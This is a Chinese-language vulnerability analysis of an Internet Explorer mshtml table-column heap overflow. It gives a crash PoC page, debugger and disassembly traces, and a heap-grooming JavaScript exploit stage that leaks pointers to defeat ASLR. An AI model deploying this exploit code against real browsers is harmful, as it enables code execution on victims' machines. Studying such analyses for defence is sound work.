关于调试其他文章有,就不重点介绍了,主要介绍一下漏洞原理,汇编代码,以及漏洞的利用过程。
poc.html:
<html>
<body>
<table style="table-layout:fixed" >
<col id="132" width="41" span="1" > </col>
</table>
<script>
function over_trigger() {
var obj_col = document.getElementById("132");
obj_col.width = "42765";
obj_col.span = 1000;
}
setTimeout("over_trigger();",1);
</script>
</body>
</html>
首先看一下函数ULongLongToUInt,
0:005> uf mshtml!ULongLongToUInt
mshtml!ULongLongToUInt:
6867d7e6 8bff mov edi,edi
6867d7e8 55 push ebp
6867d7e9 8bec mov ebp,esp
6867d7eb 837d0c00 cmp dword ptr [ebp+0Ch],0
6867d7ef 7712 ja mshtml!ULongLongToUInt+0x1b (6867d803)
mshtml!ULongLongToUInt+0xb:
6867d7f1 8b4d08 mov ecx,dword ptr [ebp+8]
6867d7f4 7205 jb mshtml!ULongLongToUInt+0x15 (6867d7fb)
mshtml!ULongLongToUInt+0x10:
6867d7f6 83f9ff cmp ecx,0FFFFFFFFh
6867d7f9 7708 ja mshtml!ULongLongToUInt+0x1b (6867d803)
mshtml!ULongLongToUInt+0x15:
6867d7fb 8908 mov dword ptr [eax],ecx
6867d7fd 33c0 xor eax,eax
mshtml!ULongLongToUInt+0x23:
6867d7ff 5d pop ebp
6867d800 c20800 ret 8
mshtml!ULongLongToUInt+0x1b:
6867d803 8308ff or dword ptr [eax],0FFFFFFFFh
6867d806 b816020780 mov eax,80070216h
6867d80b ebf2 jmp mshtml!ULongLongToUInt+0x23 (6867d7ff)
用IDA F5功能查看一下函数的伪代码:
signed int __userpurge ULongLongToUInt@<eax>(int a1@<eax>, unsigned __int64 a2, unsigned int *a3)
{
signed int result; // eax@2
if ( a2 > 0xFFFFFFFF )
{
*(_DWORD *)a1 = -1;
result = -2147024362;
}
else
{
*(_DWORD *)a1 = a2;
result = 0;
}
return result;
}
可以看到当第一个参数a2>0xFFFFFFFF(即64位)时,*eax=-1,否则*eax=a2,查看一下调用这个函数的上下文环境:
686934b7 8b45fc mov eax,dword ptr [ebp-4] ;eax=4
686934ba f76508 mul eax,dword ptr [ebp+8] ;eax=eax* [ebp+8]=4*0x1c
686934bd 52 push edx ; 0
686934be 50 push eax ; 4*0x1c
686934bf 8d45f8 lea eax,[ebp-8]
686934c2 e81fa3feff call mshtml!ULongLongToUInt (6867d7e6) ;[ebp-8] =4*0x1c
686934c7 8bd8 mov ebx,eax; =0
686934c9 85db test ebx,ebx
686934cb 7525 jne mshtml!CImplAry::EnsureSizeWorker+0xb1 (686934f2)
调用这个函数的时候参数一等于4*1c,所以此处*eax=4*0x1c。
在看一下函数mshtml!CImplAry::EnsureSizeWorker
0:005> uf mshtml!CImplAry::EnsureSizeWorker
mshtml!CImplAry::EnsureSizeWorker:
6869349e 8bff mov edi,edi
686934a0 55 push ebp
686934a1 8bec mov ebp,esp
686934a3 51 push ecx
686934a4 51 push ecx
686934a5 53 push ebx
686934a6 56 push esi
686934a7 8bf0 mov esi,eax
686934a9 6a04 push 4
686934ab 58 pop eax ;eax=4
686934ac 8945fc mov dword ptr [ebp-4],eax ; ==4
686934af 3bf0 cmp esi,eax ;esi=函数外边eax=edx=函数CalculateMinMax [ebp+8]=[ebx+0x54]=spannum,此处判断spannum与4的大小,如果spannum大于等于4,则跳转。。。。
686934b1 0f833c300000 jae mshtml!CImplAry::EnsureSizeWorker+0x15 (686964f3)
mshtml!CImplAry::EnsureSizeWorker+0x3a:
686934b7 8b45fc mov eax,dword ptr [ebp-4]
686934ba f76508 mul eax,dword ptr [ebp+8]
686934bd 52 push edx
686934be 50 push eax
686934bf 8d45f8 lea eax,[ebp-8]
686934c2 e81fa3feff call mshtml!ULongLongToUInt (6867d7e6) ;[ebp-8] =4*0x1c
686934c7 8bd8 mov ebx,eax
686934c9 85db test ebx,ebx ;ebx=0
686934cb 7525 jne mshtml!CImplAry::EnsureSizeWorker+0xb1 (686934f2)
mshtml!CImplAry::EnsureSizeWorker+0x50:
686934cd f6470402 test byte ptr [edi+4],2
686934d1 0f8529aa0300 jne mshtml!CImplAry::EnsureSizeWorker+0x56 (686cdf00)
mshtml!CImplAry::EnsureSizeWorker+0x96:
686934d7 ff75f8 push dword ptr [ebp-8] ;4*0x1c
686934da 8d770c lea esi,[edi+0Ch]
686934dd e8c3a2feff call mshtml!_HeapRealloc (6867d7a5) ;堆分配内存的首地址是esi=edi+0Ch=ebx+0x90+0x0c=ctablelayout+0x90+0x0c 后续会将此地址标记为vulheap。
686934e2 8bd8 mov ebx,eax
686934e4 85db test ebx,ebx
686934e6 750a jne mshtml!CImplAry::EnsureSizeWorker+0xb1 (686934f2)
一下代码不重要了,略去。。。
可见在第一次调用函数mshtml!CTableLayout::CalculateMinMax时,函数内部会调用函数mshtml!CImplAry::EnsureSizeWorker,分配大小为4*0x1c的堆内存,首地址为ctablelayout+0x9c
至于函数mshtml!CTableLayout::CalculateMinMax为什么会调用函数mshtml!CImplAry::EnsureSizeWorker呢,沿着函数mshtml!CImplAry::EnsureSizeWorker往上看一下:
mshtml!CTableLayout::CalculateMinMax:
685ca078 8bff mov edi,edi
685ca07a 55 push ebp
685ca07b 8bec mov ebp,esp
685ca07d 81ec98000000 sub esp,98h
685ca083 53 push ebx
685ca084 8b5d08 mov ebx,dword ptr [ebp+8]
685ca087 56 push esi
685ca088 8b750c mov esi,dword ptr [ebp+0Ch]
685ca08b 8b4628 mov eax,dword ptr [esi+28h]
685ca08e 898570ffffff mov dword ptr [ebp-90h],eax
685ca094 8b4354 mov eax,dword ptr [ebx+54h]
685ca097 894508 mov dword ptr [ebp+8],eax
685ca09a 8b8328010000 mov eax,dword ptr [ebx+128h]
685ca0a0 c1e802 shr eax,2
685ca0a3 8945b8 mov dword ptr [ebp-48h],eax
。。。。。。。。。。
省略部分不重要代码
。。。。。。。。。。
mshtml!CTableLayout::CalculateMinMax+0x161:
685ca19e 8bc8 mov ecx,eax
mshtml!CTableLayout::CalculateMinMax+0x163:
685ca1a0 8b5508 mov edx,dword ptr [ebp+8]
685ca1a3 8bc2 mov eax,edx
685ca1a5 2bc1 sub eax,ecx
685ca1a7 8945e4 mov dword ptr [ebp-1Ch],eax
685ca1aa 6a00 push 0
685ca1ac 58 pop eax
685ca1ad 0f94c0 sete al
685ca1b0 894b50 mov dword ptr [ebx+50h],ecx
685ca1b3 c1e008 shl eax,8
685ca1b6 334344 xor eax,dword ptr [ebx+44h]
685ca1b9 2500010000 and eax,100h
685ca1be 314344 xor dword ptr [ebx+44h],eax
685ca1c1 f6462c01 test byte ptr [esi+2Ch],1
685ca1c5 0f8559501900 jne mshtml!CTableLayout::CalculateMinMax+0x18a (6875f224)
mshtml!CTableLayout::CalculateMinMax+0x193:
685ca1cb 33c0 xor eax,eax
mshtml!CTableLayout::CalculateMinMax+0x195:
685ca1cd 0945c8 or dword ptr [ebp-38h],eax
685ca1d0 397d10 cmp dword ptr [ebp+10h],edi
685ca1d3 0f855b501900 jne mshtml!CTableLayout::CalculateMinMax+0x19d (6875f234)
mshtml!CTableLayout::CalculateMinMax+0x1da:
685ca1d9 8b8394000000 mov eax,dword ptr [ebx+94h]
685ca1df c1e802 shr eax,2 ;等于除以四
685ca1e2 3bc2 cmp eax,edx
685ca1e4 7d39 jge mshtml!CTableLayout::CalculateMinMax+0x223 (685ca21f)
mshtml!CTableLayout::CalculateMinMax+0x1e7:
685ca1e6 3bd7 cmp edx,edi
685ca1e8 8db390000000 lea esi,[ebx+90h]
685ca1ee 0f8c8632f0ff jl mshtml!CTableLayout::CalculateMinMax+0x203 (684cd47a)
mshtml!CTableLayout::CalculateMinMax+0x1f1:
685ca1f4 3b5608 cmp edx,dword ptr [esi+8]
685ca1f7 7613 jbe mshtml!CTableLayout::CalculateMinMax+0x210 (685ca20c)
mshtml!CTableLayout::CalculateMinMax+0x1f6:
685ca1f9 6a1c push 1Ch
685ca1fb 8bc2 mov eax,edx
685ca1fd 8bfe mov edi,esi
685ca1ff e89a920c00 call mshtml!CImplAry::EnsureSizeWorker (6869349e)
mshtml!CTableLayout::CalculateMinMax+0x208:
685ca204 85c0 test eax,eax
685ca206 0f85ac020000 jne mshtml!CTableLayout::CalculateMinMax+0xdf1 (685ca4b8)
在地址685ca1e2 3bc2 cmp eax,edx有一处重要的判断,其中eax来自->[ebx+94h]->[ctablelayout+0x94],edx来自->[ebx+8]->[ebx+54h],即spannum
在第一次调用函数mshtml!CTableLayout::CalculateMinMax时
0:015> bl
0 e 67aca078 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax
0:015> .childdbg 1
Processes created by the current process will be debugged
0:015> g
ModLoad: 6b160000 6b212000 C:\Windows\System32\jscript.dll
Breakpoint 0 hit
eax=ffffffff ebx=0036c028 ecx=00412802 edx=ffffffff esi=00000000 edi=023fc234
eip=67aca078 esp=023fbfd8 ebp=023fc1f0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax:
67aca078 8bff mov edi,edi
0:005> p
eax=ffffffff ebx=0036c028 ecx=00412802 edx=ffffffff esi=00000000 edi=023fc234
eip=67aca07a esp=023fbfd8 ebp=023fc1f0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x2:
67aca07a 55 push ebp
0:005>
eax=ffffffff ebx=0036c028 ecx=00412802 edx=ffffffff esi=00000000 edi=023fc234
eip=67aca07b esp=023fbfd4 ebp=023fc1f0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x3:
67aca07b 8bec mov ebp,esp
0:005>
eax=ffffffff ebx=0036c028 ecx=00412802 edx=ffffffff esi=00000000 edi=023fc234
eip=67aca07d esp=023fbfd4 ebp=023fbfd4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x5:
67aca07d 81ec98000000 sub esp,98h
0:005>
eax=ffffffff ebx=0036c028 ecx=00412802 edx=ffffffff esi=00000000 edi=023fc234
eip=67aca083 esp=023fbf3c ebp=023fbfd4 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
mshtml!CTableLayout::CalculateMinMax+0xb:
67aca083 53 push ebx
0:005>
eax=ffffffff ebx=0036c028 ecx=00412802 edx=ffffffff esi=00000000 edi=023fc234
eip=67aca084 esp=023fbf38 ebp=023fbfd4 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
mshtml!CTableLayout::CalculateMinMax+0xc:
67aca084 8b5d08 mov ebx,dword ptr [ebp+8] ss:0023:023fbfdc=0036c028
0:005>
eax=ffffffff ebx=0036c028 ecx=00412802 edx=ffffffff esi=00000000 edi=023fc234
eip=67aca087 esp=023fbf38 ebp=023fbfd4 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
mshtml!CTableLayout::CalculateMinMax+0xf:
67aca087 56 push esi
0:005> dd ebx+0x94 l1
0036c0bc 00000000
0:005> dd ebx+0x54 l1
0036c07c 00000001
可以看到此时poi(ebx+0x94)=0,poi(ebx+0x54)=1,在地址685ca1e2 3bc2 cmp eax,edx处,0<1,没有发生跳转,分配堆内存空间
在第二次调用函数mshtml!CTableLayout::CalculateMinMax时,
0:005> dd ebx+0x94 l1
0036c0bc 00000004
0:005> dd ebx+0x54 l1
0036c07c 00000001
可以看到此时poi(ebx+0x94)=4,poi(ebx+0x54)=1,在地址685ca1e2 3bc2 cmp eax,edx处,4/4=1,发生跳转,没有分配堆内存空间,此时我们看一下第一次分配的堆内存的情况:
0:005> !heap -p -a poi(ebx+0x9c)
address 0037ae10 found in
_HEAP @ 2b0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0037ae08 000f 0000 [00] 0037ae10 00070 - (busy)
0:005> dd 0037ae08 l50
0037ae08 3c5b016a 08004449 00001004 00001004
0037ae18 00001004 00000000 33006c00 2e003200
0037ae28 00010048 2c006c00 32002d00 37003100
0037ae38 39003600 16000000 00000000 00000000
0037ae48 07000007 00004441 0030a940 00309e58
0037ae58 00000000 00000000 00000000 00000000
0037ae68 00000000 00000000 00000000 00000000
0037ae78 00000000 00000000 2d5b017b 0c004460
0037ae88 76db7bd0 76db7c64 00000000 00000003
0037ae98 00330f08 0037ae88 00349ef0 023fd2c8
0037aea8 00000003 00000000 000000f0 00000000
0037aeb8 00000000 0082eaec 00000000 00000000
0037aec8 00000000 00000000 003655f0 ffffffff
0037aed8 00000000 00000000 00000000 000001f4
继续往下走,在调用函数mshtml!CTableCol::GetAAspan处下断:
0:005> bl
0 e 6a40a078 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax
1 e 6a59f31a 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax+0x3a7
0:005> g
Breakpoint 1 hit
eax=006f4890 ebx=00716728 ecx=00000032 edx=00000000 esi=0072189c edi=006f4890
eip=6a59f31a esp=025abd40 ebp=025abde4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x3a7:
6a59f31a e8acb3deff call mshtml!CTableCol::GetAAspan (6a38a6cb)
0:005> p
eax=000003e8 ebx=00716728 ecx=00000002 edx=006fdca0 esi=0072189c edi=006f4890
eip=6a59f31f esp=025abd40 ebp=025abde4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x3ac:
6a59f31f 3de8030000 cmp eax,3E8h
可以看出此处函数的返回值就是poc.html中js函数中span的值1000。
6a59f30b e87dd0f5ff call mshtml!CElement::IsDisplayNone (6a4fc38d)
6a59f310 85c0 test eax,eax
6a59f312 0f854238dcff jne mshtml!CTableLayout::CalculateMinMax+0x3dc (6a362b5a)
6a59f318 8bc7 mov eax,edi
6a59f31a e8acb3deff call mshtml!CTableCol::GetAAspan (6a38a6cb)
6a59f31f 3de8030000 cmp eax,3E8h
6a59f324 894510 mov dword ptr [ebp+10h],eax ;;
6a59f327 7c07 jl mshtml!CTableLayout::CalculateMinMax+0x3bd (6a59f330)
6a59f329 c74510e8030000 mov dword ptr [ebp+10h],3E8h
将1000放入[ebp+10h]中。
继续执行,执行到调用函数mshtml!CWidthUnitValue::GetPixelWidth :
0:005> g
Breakpoint 2 hit
eax=006dc8c0 ebx=00716728 ecx=0074cd68 edx=006fdca0 esi=025ac078 edi=00000001
eip=6a59f39f esp=025abd38 ebp=025abde4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x47d:
6a59f39f e8a854dbff call mshtml!CWidthUnitValue::GetPixelWidth (6a35484c)
0:005> dd esp l4
025abd38 025ac078 00000000 025ac044 00000000
0:005> dd 025ac044 l1
025ac044 00000000
0:005> p
eax=00414114 ebx=00716728 ecx=0074cd68 edx=00004141 esi=025ac078 edi=00000001
eip=6a59f3a4 esp=025abd40 ebp=025abde4 iopl=0 ov up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000a06
mshtml!CTableLayout::CalculateMinMax+0x482:
6a59f3a4 837da000 cmp dword ptr [ebp-60h],0 ss:0023:025abd84=00000000
0:005> dd esp l1
025abd40 025ac044
可以看到函数mshtml!CWidthUnitValue::GetPixelWidth的返回值就是js函数over_trigger的width*100(0n42765*0n100=0n4276500 = 0x00414114)
6a59f396 8b45a8 mov eax,dword ptr [ebp-58h]
6a59f399 8b4dcc mov ecx,dword ptr [ebp-34h]
6a59f39c 6a00 push 0
6a59f39e 56 push esi
6a59f39f e8a854dbff call mshtml!CWidthUnitValue::GetPixelWidth (6a35484c)
6a59f3a4 837da000 cmp dword ptr [ebp-60h],0 ss:0023:025abd84=00000000
6a59f3a8 8945d0 mov dword ptr [ebp-30h],eax ;结果存入[ebp-30h]中
6a59f3ab 744f je mshtml!CTableLayout::CalculateMinMax+0x4da (6a59f3fc)
6a59f3ad 8b459c mov eax,dword ptr [ebp-64h]
6a59f3b0 85c0 test eax,eax
继续向下分析:
mshtml!CTableLayout::CalculateMinMax+0x505:
6a59f427 8b4df8 mov ecx,dword ptr [ebp-8] ;ecx=0
6a59f42a 8b4510 mov eax,dword ptr [ebp+10h]; eax=0n1000
6a59f42d 6bc91c imul ecx,ecx,1Ch ecx=0
6a59f430 0145c8 add dword ptr [ebp-38h],eax ;0x3e8
6a59f433 894ddc mov dword ptr [ebp-24h],ecx ;0
6a59f436 eb03 jmp mshtml!CTableLayout::CalculateMinMax+0x519 (6a59f43b)
//循环开始
mshtml!CTableLayout::CalculateMinMax+0x516:
6a59f438 8b4ddc mov ecx,dword ptr [ebp-24h]
mshtml!CTableLayout::CalculateMinMax+0x519:
6a59f43b 8b839c000000 mov eax,dword ptr [ebx+9Ch] ;vulheap地址
6a59f441 03c1 add eax,ecx ;eax=vulheap地址
6a59f443 837de400 cmp dword ptr [ebp-1Ch],0 ;poi(ebp-0x1c)==0
6a59f447 8945d8 mov dword ptr [ebp-28h],eax ;poi(ebp-28h)是函数AdjustForCol 要复制到的地址,可以看到这个地址从vulheap开始,没复制一次,地址增加0x1c
6a59f44a 741a je mshtml!CTableLayout::CalculateMinMax+0x544 (6a59f466) ;跳转
mshtml!CTableLayout::CalculateMinMax+0x52a:
6a59f44c 8b4510 mov eax,dword ptr [ebp+10h]
6a59f44f 83f801 cmp eax,1
6a59f452 7e12 jle mshtml!CTableLayout::CalculateMinMax+0x544 (6a59f466)
mshtml!CTableLayout::CalculateMinMax+0x532:
6a59f454 48 dec eax
6a59f455 3945ec cmp dword ptr [ebp-14h],eax
6a59f458 750c jne mshtml!CTableLayout::CalculateMinMax+0x544 (6a59f466)
mshtml!CTableLayout::CalculateMinMax+0x538:
6a59f45a 0faf45f4 imul eax,dword ptr [ebp-0Ch]
6a59f45e 8b4dd0 mov ecx,dword ptr [ebp-30h]
6a59f461 2bc8 sub ecx,eax
6a59f463 894df4 mov dword ptr [ebp-0Ch],ecx
mshtml!CTableLayout::CalculateMinMax+0x544:
6a59f466 ff75c0 push dword ptr [ebp-40h]
6a59f469 8b45cc mov eax,dword ptr [ebp-34h]
6a59f46c ff750c push dword ptr [ebp+0Ch]
6a59f46f 8b75d8 mov esi,dword ptr [ebp-28h]
6a59f472 ff75f4 push dword ptr [ebp-0Ch] ;width*100
6a59f475 e8a0151900 call mshtml!CTableColCalc::AdjustForCol (6a730a1a) ;这个函数可以用IDA的F5功能
6a59f47a ff45ec inc dword ptr [ebp-14h]
6a59f47d 8b45ec mov eax,dword ptr [ebp-14h] ;第一次循环时eax=1 后续每次加1
6a59f480 8345dc1c add dword ptr [ebp-24h],1Ch ;第一次poi(ebp-0x24)==0,以后每次加0x1c
6a59f484 3b4510 cmp eax,dword ptr [ebp+10h] ;poi(ebp+10h)=0x3e8 也就是循环0x3e8次,每次复制的长度是0x1c,所以0x3e8*0x1c >4*0x1c,造成溢出
6a59f487 7caf jl mshtml!CTableLayout::CalculateMinMax+0x516 (6a59f438)
上边这段代码很重要,我们着重分析一下,执行到6a59f436 jmp mshtml!CTableLayout::CalculateMinMax+0x519 (6a59f43b)的时候,此时ecx=0,poi(ebp-24h)=0,poi(ebp-0x14)=0,然后进入循环体,详见上边代码注释
再分析一下mshtml!CTableColCalc::AdjustForCol 这个函数,直接用IDA吧:
void __userpurge 0:005> dd poi(ebp-0x34) l1
004ebde8 04141149(CTableColCalc *this@<ecx>, int a2@<eax>, int a3@<esi>, const struct CWidthUnitValue *a4, int a5, struct CCalcInfo *a6, int a7)
{
int v7; // ST04_4@1
v7 = *(_DWORD *)a2 & 0xF;
*(_DWORD *)(a3 + 24) = *(_DWORD *)a2;
if ( CUnitValue::IsScalerUnit(v7) )
。。。。。
可以看到是将*eax处的数据复制到*(esi+0x18)处,此处eax=poi(ebp-34h):
0:005> dd poi(ebp-0x34) l1
004ebde8 04141149
具体分析一下:
void __userpurge CTableColCalc::AdjustForCol(CTableColCalc *this@<ecx>, int a2@<eax>, int a3@<esi>, const struct CWidthUnitValue *a4, int a5, struct CCalcInfo *a6, int a7)
{
int v7; // ST04_4@1
v7 = *(_DWORD *)a2 & 0xF;
*(_DWORD *)(a3 + 24) = *(_DWORD *)a2; // poi(esi+0x18)=*eax=0x4141149
if ( CUnitValue::IsScalerUnit(v7) ) // 实现跳转
{
CUnitValue::SetValue((signed int)a4, a3 + 24, 8);// a4=0x414114 result=8|16*a4 ;poi(a3+24)=result 所以poi(esi+0x18)=8|16*0x00414114
*(_DWORD *)(a3 + 4) = a4; // poi(esi+4)=a4=0x00414114 即函数的第一个参数
*(_DWORD *)a3 = a4; // poi(esi)=a4=0x00414114,即函数的第一个参数
}
else
{
if ( a6 != (struct CCalcInfo *)1 )
CUnitValue::SetPercent((CUnitValue *)0x64, a3 + 24);
*(_DWORD *)a3 = 1;
*(_DWORD *)(a3 + 4) = *(_DWORD *)(a5 + 16);
}
*(_DWORD *)(a3 + 8) = a4; //poi(esi+8)=a4=0x00414114,即函数的第一个参数
}
综上所述,函数CTableColCalc::AdjustForCol的功能就是,将函数的第一个参数放入esi,esi+4,esi+8中,将8|16*第一个参数的值放入0xesi+0x18中。
上图可以看到已经复制了两次,0x70空间只能复制四次,如果超过四次,就会复制到不可写内存,造成访问异常。
总结一下漏洞原理,在第一次调用函数mshtml!CTableLayout::CalculateMinMax时,函数内部调用函数函数mshtml!CImplAry::EnsureSizeWorker分配大小为4*0x1c大小的堆内存,首地址为ebx+0x9c,将此命名为vulheap。
在第二次调用函数mshtml!CTableLayout::CalculateMinMax时,函数内部没有调用函数函数mshtml!CImplAry::EnsureSizeWorke分配堆内存,然后调用mshtml!CTableCol::GetAAspan获取js函数over_trigger中span的值,此处为0x3e8,然后调用函数mshtml!CWidthUnitValue::GetPixelWidth获取js函数over_trigger中width的值,此处的返回地址为width*100,命名为copydata.
然后进入一个循环体,循环次数有span决定,此处是0x3e8,将copydata复制到vulheap的起始地址处,此处vulheap、vulheap+4、vulheap+8的值为copydata,vulheap+0x18的值为8|16*copydata,然后进入下一个循环,起始地址为vulheap+0x1c。 因为堆内存大小为0x70,但是我们循环0x3e8,所以0x3e8*0x1c>0x70,所以造成溢出,覆盖了后边的内容。
下边介绍一下漏洞的利用,
漏洞利用主要有两点,一个是利用内存泄露绕过ASLR,一个是利用ROP绕过DEP,然后布置heap spray,利用堆溢出控制EIP,跳转到heap sparay使shellcode得到执行。
下边首选介绍利用内存泄露绕过ASLR,主要原理就是利用堆溢出覆盖后边字符串的长度信息,然后读出后边对象的虚表指针,虚表指针跟加载模块的基址是相对固定的 ,这样就可以确定mshtml等的基址,从而绕过aslr。
<html>
<body>
<div id="evil"></div>
<table style="table-layout:fixed" ><col id="132" width="41" span="9" > </col></table>
<script language='javascript'>
var free = "EEEE";
while ( free.length < 500 ) free += free;
var string1 = "AAAA";
while ( string1.length < 500 ) string1 += string1;
var string2 = "BBBB";
while ( string2.length < 500 ) string2 += string2;
var fr = new Array();
var al = new Array();
var bl = new Array();
var div_container = document.getElementById("evil");
div_container.style.cssText = "display:none";
for (var i=0; i < 500; i+=2) {
fr[i] = free.substring(0, (0x100-6)/2);
al[i] = string1.substring(0, (0x100-6)/2);
bl[i] = string2.substring(0, (0x100-6)/2);
var obj = document.createElement("button");
div_container.appendChild(obj);
}
for (var i=200; i<500; i+=2 ) {
fr[i] = null;
CollectGarbage();
}
function leak(){
//alert(1);
var leak_col = document.getElementById("132");
leak_col.width = "41";
leak_col.span = "19";
}
function strtoint(str) {
return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);
}
function get_leak() {
var str_addr = strtoint(bl[498].substring((0x100-6)/2+(2+8)/2,(0x100-6)/2+(2+8+4)/2));
//alert(str_addr.toString(16));
//alert(typeof(str_addr));
//alert(str_addr.toString(16));
str_addr=(str_addr & 0xffff0000)-0x00150000;
alert(typeof(str_addr));
alert(str_addr.toString(16));
//alert(str_addr);
//str_addr = str_addr - 1410704;
//setTimeout(function(){heapspray(str_addr)}, 200);
}
function trigger_overflow(){
var evil_col = document.getElementById("132");
evil_col.width = "1178993";
evil_col.span = "32"; //zhishaoshi 0x1d=29
}
setTimeout(function(){leak()}, 300);
setTimeout(function(){get_leak()},700);
//setTimeout(function(){heapspray()}, 900);
//setTimeout(function(){trigger_overflow()}, 1200);
</script>
</body>
</html>
<table style="table-layout:fixed" ><col id="132" width="41" span="9" > </col></table> //分配大小为9*0x1c的堆内存
var free = "EEEE";
while ( free.length < 500 ) free += free;
var string1 = "AAAA";
while ( string1.length < 500 ) string1 += string1;
var string2 = "BBBB";
while ( string2.length < 500 ) string2 += string2;
定义三个字符串,长度都是500(unicode长度)
for (var i=0; i < 500; i+=2) {
fr[i] = free.substring(0, (0x100-6)/2);
al[i] = string1.substring(0, (0x100-6)/2);
bl[i] = string2.substring(0, (0x100-6)/2);
var obj = document.createElement("button");
div_container.appendChild(obj);
}
进行250次循环,在每个循环内部,分配bstr字符串,fr[i],al[i],bl[i],每个bstr字符串长度是0x100(包含四字节长度信息,两字节0x00结束信息),后边分配一个对象。
for (var i=200; i<500; i+=2 ) {
fr[i] = null;
CollectGarbage();
}
从fr[i]中间开始间隔释放内存,腾出空间供后边分配0x100大小的对象能够被占用到。
function leak(){
//alert(1);
var leak_col = document.getElementById("132");
leak_col.width = "41";
leak_col.span = "19";
}
分配大小为0x13*0x1c=0x214大小的内存,这样就覆盖了vulheap(0x100),继续覆盖了后边的AAA的堆首信息(0x8)、AAA大小0x100,BBB的堆首信息,然后是BBB的大小(四个字节),加起来正好是0x214.我们调试验证一下。
首先要确保后来分配的内存覆盖了前边释放的内存。
首先下断点:bu mshtml!ctablelayout::calculateminmax+0x16d ".echo vulheap;dd poi(ebx+9c) l4;g" 记录分配的堆内存首地址 (此处应该做个镜像,防止重启IE地址发生变化)
0:005> bu 6996a1aa ".echo vulheap;dd poi(ebx+9c) l4;g"
0:005> bl
0 e 6996a1aa 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax+0x16d ".echo vulheap;dd poi(ebx+9c) l4;g"
1 d 686aa1aa 0001 (0001) 0:**** ".echo vulheap;dd poi(ebx+9c) l4;g"
2 d 76e92c6a 0001 (0001) 0:**** ntdll!RtlFreeHeap ".echo free heap;db poi(esp+c) l10;g"
4 d 694ea1aa 0001 (0001) 0:**** ".echo vulheap;dd poi(ebx+9c) l4;g"
5 e 6996a078 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax
0:005> bd 5
0:005> g
vulheap
00000000 ???????? ???????? ???????? ????????
vulheap
03228d18 00001004 00001004 00001004 00000000
vulheap
03228d18 00001004 00001004 00001004 00000000
(360.35c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07070024 ebx=01000000 ecx=03229030 edx=00000041 esi=024ed590 edi=03224bb8
eip=69a2e664 esp=024ed3cc ebp=024ed400 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
mshtml!NotifyElement+0x3e:
69a2e664 ff5008 call dword ptr [eax+8] ds:0023:0707002c=????????
再返回快照,查看释放堆内存的首地址:(bu ntdll!rtlfreeheap ".echo free heap;db poi(esp+c) l10;g")
0:005> bu ntdll!rtlfreeheap ".echo free heap;db poi(esp+c) l10;g"
breakpoint 2 redefined
0:005> bl
0 d 6996a1aa 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax+0x16d ".echo vulheap;dd poi(ebx+9c) l4;g"
1 d 686aa1aa 0001 (0001) 0:**** ".echo vulheap;dd poi(ebx+9c) l4;g"
2 e 76e92c6a 0001 (0001) 0:**** ntdll!RtlFreeHeap ".echo free heap;db poi(esp+c) l10;g"
4 d 694ea1aa 0001 (0001) 0:**** ".echo vulheap;dd poi(ebx+9c) l4;g"
5 d 6996a078 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax
0:005> .logopen C:\Users\ymq\Desktop\log.txt
Closing open log file C:\Users\ymq\Desktop\log.txt
Opened log file 'C:\Users\ymq\Desktop\log.txt'
0:005> g
free heap
00344070 98 8f 9e 76 99 ad de 99-00 20 00 00 00 00 00 00 ...v.
........
03228d18 5a 00 00 00 66 00 69 00-6c 00 65 00 3a 00 2f 00
可以看到刚分配的堆内存已经覆盖了刚才释放的堆内存。
function leak(){
//alert(1);
var leak_col = document.getElementById("132");
leak_col.width = "41";
leak_col.span = "19";
}
分配大小为0x13*0x1c覆盖字符串大小信息。
在函数mshtml!CTableLayout::CalculateMinMax上下断点,查看第二次断下时的信息(vulheap首地址及内存分布):
0:013> bl
0 d 6996a1aa 0001 (0001) 0:**** ".echo vulheap;dd poi(ebx+9c) l4;g"
1 d 686aa1aa 0001 (0001) 0:**** ".echo vulheap;dd poi(ebx+9c) l4;g"
2 e 76e92c6a 0001 (0001) 0:**** ntdll!RtlFreeHeap ".echo free heap;db poi(esp+c) l10;g"
4 d 694ea1aa 0001 (0001) 0:**** ".echo vulheap;dd poi(ebx+9c) l4;g"
5 d 6887a078 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax
0:013> bd 2;be 5
0:013> g
ModLoad: 6d1c0000 6d272000 C:\Windows\System32\jscript.dll
Breakpoint 5 hit
